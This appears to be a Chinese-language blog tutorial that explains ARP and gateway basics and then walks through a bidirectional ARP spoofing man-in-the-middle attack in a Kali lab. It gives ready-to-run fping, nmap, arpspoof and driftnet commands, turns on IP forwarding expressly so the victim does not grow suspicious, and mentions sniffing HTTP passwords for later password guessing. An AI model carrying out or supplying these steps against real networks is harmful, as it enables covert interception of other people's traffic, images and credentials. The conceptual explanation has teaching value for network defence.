知识点

1.网关

网关主要位于osi七层模型中的传输层和应用层,功能是为了连接高层协议的不同网络,简单的可以将其比作一个房间通向另一个房间的一扇门。

2.ARP协议

它是一种地址转换协议,是数据链路层的协议,在现实以太网中,网络设备之间的通信是在用MAC地址而不是IP地址,ARP协议就是将PC的IP地址转换为MAC地址的。

假设主机A(192.168.1.2)与主机B(192.168.1.3)在同一局域网,A要和B实现通信,A首先会发送一个数据包到广播地址(192.168.1.255),该数据包中包含了源IP(A)、源MAC、目的IP(B)、目的MAC,这个数据包会被发放给局域网中所有的主机,但是只有B主机会回复一个包含了源IP(B)、源MAC、目的IP(A)、目的MAC的数据包给A,同时A主机会将返回的这个地址保存在ARP缓存表中。

3.双向ARP欺骗

ARP缓存表缺陷:当请求主机收到ARP应答包后,不会去验证自己是否向对方主机发送过ARP请求包,就直接把这个返回包中的IP地址与MAC地址的对应关系保存进ARP缓存表中,如果原有相同IP对应关系,原有的则会被替换。

邮递员故事:假设主机 A 192.168.1.2,B 192.168.1.3,C 192.168.1.4; 网关 G 192.168.1.1; 在同一局域网,主机A和B通过网关G相互通信,就好比A和B两个人写信,由邮递员G送信,C永远都不会知道A和B之间说了些什么话。

C假扮邮递员,首先要告诉A说:“我就是邮递员” (C主机向A发送构造好的返回包,源IP为G 192.168.1.1,源MAC为C自己的MAC地址),愚蠢的A很轻易的相信了,直接把“C是邮递员”这个信息记在了脑子里;

C再假扮A,告诉邮递员:“我就是A” (C向网关G发送构造好的返回包,源IP为A 192.168.1.2,源MAC地址为自己的MAC地址),智商捉急的邮递员想都没想就相信了,以后就把B的来信送给了C,C当然就可以知道A和B之间聊了些什么。

实验命令

1.首先确定要欺骗主机的网段,在本实验中假设我们攻击的网段为192.168.14.0/24 网关为192.168.14.2 我们实验中用虚拟机Kali来嗅探

通过以下命令可以查看该网段中存活的主机IP

$ fping -g -r 0 -s 192.168.14.0/24 | grep alive

结果1

"arp1"

结果2

"arp2"

2.用nmap嗅探目标机型 决定攻击/嗅探对象

通过命令nmap来查找目标

$ nmap -T4 -O 192.168.14.2 192.168.14.132

图片

"arp3"
"arp4"

3.假设我们要攻击的目标IP为192.168.14.132 接下来进行双向ARP欺骗它与网关之间的通信

命令如下

$ arpspoof -i eth0 -t 192.168.14.132(taget) 192.168.14.2(wg)

$ arpspoof -i eth0 -t 192.168.14.2 192.168.14.132

图片

"arp5"
"arp6"

4.由于我们的主要目的不是为了攻击(现在目标主机已经无法上网了),而是为了嗅探目标主机的动态,所以可以将端口开放回复目标主机网络,免得引起怀疑

命令如下

1
$ echo 1 > /proc/sys/net/ipv4/ip_forward

5.进行图片跟踪以及http密码嗅探,进而可以利用社会工程学进行密码猜测攻击

大功告成,开始监听嗅探 哈哈哈哈哈 命令如下

1
$ driftnet -i eth0

"arp7"
"win"
"kali"